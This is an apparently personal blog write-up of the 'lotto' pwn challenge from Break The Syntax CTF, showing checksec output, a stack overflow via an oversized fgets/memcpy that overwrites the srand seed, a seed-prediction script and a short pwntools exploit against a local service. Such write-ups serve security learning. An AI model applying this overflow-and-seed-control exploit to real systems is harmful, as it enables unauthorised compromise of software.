Break_The_Syntax_CTF

272 words

1 minute

Break_The_Syntax_CTF

2025-08-21

Pwn

/

Writeups

we are given a bin file , which is

1
󰣇 bts_ctf/pwn/lotto ❯ file lotto.bin
2
lotto.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b33dec53f8f1c8957618364105b1ede0b99ccd8f, for GNU/Linux 4.4.0, not stripped

1
󰣇 bts_ctf/pwn/lotto ❯ checksec --file=lotto.bin
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols    FORTIFY  Fortified  Fortifiable  FILE
3
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   40 Symbols   No  0    3    lotto.bin

when we run the binary , it asks for 6 number as input , if all the 6 numbers are correct we get the flag, but each run there are random number generated with random seed, so need to somehow solve this.

The decompiled code ,

1
  fgets((char *)local_198,0x17b,stdin);
2
  __n = strlen((char *)local_198);
3
  memcpy(local_314,local_198,__n);

there is a fgets function, which takes long input than what we need , so this looks sus , when providing a long input , and looking at the GDB ,

1
*RIP  0x5555555553f1 (main+520) ◂— call srand@plt
2
───────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────
3
 ► 0x5555555553f1 <main+520>    call   srand@plt                   <srand@plt>
4
        seed: 0x61616364
5

6
   0x5555555553f6 <main+525>    lea    rax, [rbp - 0x330]

we can see that we can control the seed for random number. it is at the offset of 307, so after this if we set it to know value we can find the number it generates , in my case i gonna set the value to 0xdeadbeef.

1
import ctypes
2

3

4
libc = ctypes.CDLL("libc.so.6")
5
libc.srand(0xdeadbeef)
6

7
for _ in range(6):
8
    print(libc.rand() % 49 + 1)

this is the python script to find the random numbers,

1
from pwn import *
2

3
p = remote('localhost',9000)
4

5
nums = b'11 9 42 12 16 3'
6
payload = nums + cyclic(307-len(nums)) + p64(0xdeadbeef) + cyclic(100)
7

8
p.sendline(payload)
9
p.interactive()

Break_The_Syntax_CTF

https://0xhyder.github.io/posts/lotto/

Author

hyder

Published at

2025-08-21

License

CC BY-NC-SA 4.0

Simple Notes on Stack Pivot

Dam_CTF